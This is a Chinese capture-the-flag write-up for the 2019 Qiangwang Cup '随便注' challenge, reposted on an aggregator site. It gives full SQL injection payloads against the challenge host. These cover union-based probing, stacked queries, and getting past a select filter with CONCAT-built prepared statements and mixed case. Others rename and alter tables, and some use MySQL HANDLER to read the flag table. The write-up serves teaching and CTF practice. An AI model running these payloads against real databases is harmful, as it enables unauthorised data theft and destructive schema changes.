强网杯 2019 随便注
Posted MuRKuo
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了强网杯 2019 随便注相关的知识,希望对你有一定的参考价值。
强网杯 2019 随便注
考点:堆叠注入 绕过”select|update|delete|drop|insert|where“
1.先常规方法注入
判断注入类型 :1\' and 1=1
正常;1\' and 1=2
报错-->int
查字段http://www.bmzclub.cn:22155/?inject=1\' order by 3 --+
爆数据库http://www.bmzclub.cn:22155/?inject=1\' union select 1,database(),3 --
2.绕过
堆叠注入绕过
1\' ; show databases;
?inject=1\';show tables;--+
1\';show columns from `flagg`; --+ #注意反引号
堆叠注入特点,不用加()
绕过屏蔽的关键字
方法1 绕过select
预处理流程:
SET; # 用于设置变量名和值
PREPARE stmt_name FROM preparable_stmt; # 用于预备一个语句,并赋予名称,以后可以引用该语句
EXECUTE stmt_name; # 执行语句
{DEALLOCATE | DROP} PREPARE stmt_name; # 用来释放掉预处理的语句
payload:
-1\';set @sql=CONCAT(\'se\',\'lect * from `flagg`;\');prepare stmt from @sql;execute stmt;
使用strstr过滤了set和prepare,但是strstr对大小写不敏感,可通过大写绕过
更改payload为
-1\';sEt @sql=CONCAT(\'se\',\'lect * from `flagg`;\');prEpAre stmt from @sql;execute stmt;
成功得出flag
方法2 修改表名
原题目查询的数据表为words
。既然没过滤alert和 rename,那就可以把表和列改名。先把 words 改为其他,再把flagg
改为 words,然后把新的 words 表里的 flag
列改为 id
,这样就可以直接查询 flag 了
-1\';rename table `words` to `test`;rename table `flagg` to `words`;alter table `words` change `flag` `id` varchar(100);
show columns from words;--+
# ALTER TABLE tiger (表名) CHANGE tigername(要修改的列) name (修改后的列名) VARCHAR(20)(类型);
之后访问
1\' or 1=\'1
得出flag
handler
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
HANDLER tbl_name OPEN [ [AS] alias]
# 打开一张表,无返回结果,实际上声明了一个名为tb1_name的句柄。
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
# 获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
HANDLER tbl_name CLOSE
# 关闭打开的句柄。
payload:
1\';handler `flagg` open;handler `flagg` read first;-- +
NOTE:
原题目因为使用multi_query()
执行一条或多条sql
语句,然后将结果全部输出,才会出现这种漏洞。
MySQL中反引号和单引号的区别与用法
- MySql 中用一对反引号来标注 SQL 语句中的标识,如数据库名、表名、字段名等
- 引号则用来标注语句中所引用的字符型常量或日期/时间型常量,即字段值
例如:
copyselect * from `username` where `name`="peri0d"
以上是关于强网杯 2019 随便注的主要内容,如果未能解决你的问题,请参考以下文章